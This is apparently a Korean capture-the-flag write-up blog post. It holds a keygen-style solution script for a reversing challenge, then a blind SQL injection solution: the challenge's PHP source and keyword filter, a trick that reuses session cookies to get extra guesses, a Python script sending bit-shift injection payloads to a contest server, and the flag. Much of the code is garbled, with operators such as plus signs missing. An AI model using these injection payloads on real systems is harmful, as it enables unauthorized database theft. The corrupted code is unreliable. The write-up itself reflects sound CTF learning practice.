key = "\x0F\x8E\x9E\x39\x3D\x5E\x3F\xA8\x7A\x68\x0C\x3D\x8B\xAD\xC5\xD0\x7B\x09\x34\xB6\xA3\xA0\x3E\x67\x5D\xD6"

newag1 = 0

newag2 = 0

newag3 = 1


f = open("result_last.txt", "wb")


for i in range(0, 400):

if i != 0:

ag1 = newag1

ag2 = newag2

ag3 = newag3

result = wtf(key, ag1, ag2)

ag1 = ag1 ^ 0xb72af098

tempag2 = ag1

ag1 *= ag2

ag1 ^= ag2

temp_ag1= ag1 & 0xffffffff

ag1 &= 0xffffffff

ag2 = tempag2

r2 = ""


f.write(result "\n")


ag1 = (29 * ag2 7 * f_401280(ag2, 2)) & 0xffffffff

ag2 = f_401280(ag1 ^ temp_ag1, ag1 % 2 5) & 0xffffffff


ttemp_ag2 = 0

exitcode = 0

if tempag2 >= 0xd0000000:

exitcode = 13 * (ag1 / 27) ^ 0x1f2a990d

ag1 = exitcode

ag2 = newag2


if flag == 0:

ag2 = f_401280(exitcode ^ ag2, exitcode % 30)

ag2 = 0

flag = 1

else:

ag2 = f_401280(newag2 ^ exitcode, exitcode % 30)


ttemp_ag2 = ag2

ag3 = 1

newag1 = ag1

newag2 = ag2

newag3 = ag3

f.close()



코드가 상당히 더러운편인데 그 만큼 멘붕을 했다는 뜻이다.





다른 풀이방법을 생각해보면 함수를 코드패치 해서 messagebox를 띄우는 방법이 있는 등 다른 좋은 방법이 많을 것이다.


대회 당시에도 생각을 하긴 햇지만 이미 코드는 반이상 짜둔터라 그냥 진행 하기로 했었다. [에휴]


  1. 알 수 없는 사용자 2014.03.02 22:40

    ㅠㅠ 지금까지 계속풀고있는대 이해가않돼네요 ..




문제는 웹 문제이며 Blind Sql Injection 문제이다.


랜덤으로 30글자의 password를 설정하고 120번동안 password를 맞출 수 있는 기회가 있는데 그 기회를 모두 사용하면 password가 초기화 되어 또 랜덤 30글자가 만들어진다


또한 문제 부분에 sql injection 취약점이 있으며 쿼리를 잘 조정하면 password를 빼올 수 있었는데, 총 30글자에 120번의 기회면 1글자당 4번의 기회가 있는 것이다.


기존에 내가 사용하던 무작위 대입으론 별로 효과가 없을 것이고 bit shift를 이용한 풀이도 또한 7번의 기회가 있어야 하므로 충분하지 않다. [최소한 4번의 기회가 필요하다.]


고민고민 중에 새로운 문서를 찾아보기도 하고 등등 했는데 [write up을 다쓰고보니 time-based blind sql injection을 한 분도 꽤나 많은것 같다.]


별로 소용이 없어서 다른 방법을 찾아보기로 했다.


session_start();

$link = @mysql_connect('localhost', '', '');
@
mysql_select_db('', $link);

function
RandomString()
{
$filename = "smash.txt";
$f = fopen($filename, "r");
$len = filesize($filename);
$contents = fread($f, $len);
$randstring = '';
while(
strlen($randstring)<30 ){
$t = $contents[rand(0, $len-1)];
if(
ctype_lower($t)){
$randstring .= $t;
}
}
return
$randstring;
}

$max_times = 120;

if (
$_SESSION['cnt'] > $max_times){
unset(
$_SESSION['cnt']);
}

if ( !isset(
$_SESSION['cnt'])){
$_SESSION['cnt']=0;
$_SESSION['password']=RandomString();

$query = "delete from rms_120_pw where ip='$_SERVER[REMOTE_ADDR]'";
@
mysql_query($query);

$query = "insert into rms_120_pw values('$_SERVER[REMOTE_ADDR]', '$_SESSION[password]')";
@
mysql_query($query);
}
$left_count = $max_times-$_SESSION['cnt'];
$_SESSION['cnt'] ;

if (
$_POST['password'] ){

if (
eregi("replace|load|information|union|select|from|where|limit|offset|order|by|ip|\.|#|-|/|\*",$_POST['password'])){
@
mysql_close($link);
exit(
"Wrong access");
}

$query = "select * from rms_120_pw where (ip='$_SERVER[REMOTE_ADDR]') and (password='$_POST[password]')";
$q = @mysql_query($query);
$res = @mysql_fetch_array($q);
if(
$res['ip']==$_SERVER['REMOTE_ADDR']){
@
mysql_close($link);
exit(
"True");
}
else{
@
mysql_close($link);
exit(
"False");
}
}

@
mysql_close($link);
?>






times left









Auth





소스코드를 보니 아니나 다를까 ip와 session으로 서로 다른것을 체크하기 때문에 쿠키 값만 다르고 ip는 똑같다면 여러번의 기회를 만들 수 있다.


예를들어서 A 쿠키로 먼저 접속후 sql injection 쿼리를 날리고 , B 쿠키로 접속하면 다시 기회가 120번이 남아있는 것을 볼 수있다.


또 A쿠키로 접속해보면 (120 - sql injection시도 횟수) 만큼 기회가 남아 있을 것이다.


바로 blind sql injection 툴을 짯다.


#97 - 122

import httplib,urllib;

from urllib import urlopen

#password=0'<1) and (0<1) and(if(ascii(substr(password,1,2))<150, 1, 0)=1) or (1<'0

#password=0'<1) and (0<1) and((ascii(substr(password,1,2))>>6)>1) or (1<'0


headers = {"Content-type":"application/x-www-form-urlencoded","Cookie":"PHPSESSID=ztv6lne26k1tgf2q8803stn2ka5"}


host = "http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/index.php"

result = ""

bit = ""

flag = 0

Truematch = "True"

sqlcmd = "select pass from member where id = 1"

total = 0


def change():

headers = {"Content-type":"application/x-www-form-urlencoded","Cookie":"PHPSESSID=1ztv6lne26k1tgf2q8803stn2ka5"}


def request(site,charpos,sqlcmd,match_str):

result = 3

for bitpos in range(4,-1,-1):

temp_match_str = Truematch

result *= 2

injection = "0'<1) and (0<1) and((ascii(substr(password,%d,1))>>%d)=%d) or (1<'0"%(charpos,bitpos,result)

params = urllib.urlencode({'password':injection})

print injection


conn=httplib.HTTPConnection("58.229.183.24:80")

conn.request("POST","/5a520b6b783866fd93f9dcdaf753af08/index.php",params,headers)


#conn=httplib.HTTPConnection("192.168.0.93:80")

#conn.request("POST","/codegate.php",params,headers)


if charpos == 20:

change()

print headers["Cookie"]

headers["Cookie"] = "PHPSESSID=1ztv6lne26k1tgf2q8803stn2ka5"

print "HEADER CHANGED"


response = conn.getresponse()

if temp_match_str in response.read():

result = 0

print "true 0 "

else:

result = 1

print "false 1"


return chr(result)

charpos = 1

while 1:

try:

result = request(host,charpos,sqlcmd,Truematch)

charpos = 1

print result

if len(result) == 30: break

except Exception:

print "%s => %s"%(sqlcmd,result)

break

raw_input("> ")


#Congrats! the key is DontHeartMeBaby*$#@!


방식은 20글자만큼 뽑아내면 헤더를 바꾸는 방식으로 진행했다. 그러면 먼저 사용한 쿠키엔 100번을 사용했고 나머지 쿠키는 아직 120번의 기회가 있으니 충분하다.


그리고 뽑아오는 방식은 bit shift 를 이용했고 paste bin 에 있는 기존 소스를 수정한 것이다.


Key : DontHeartMeBaby*$#@!

+ Recent posts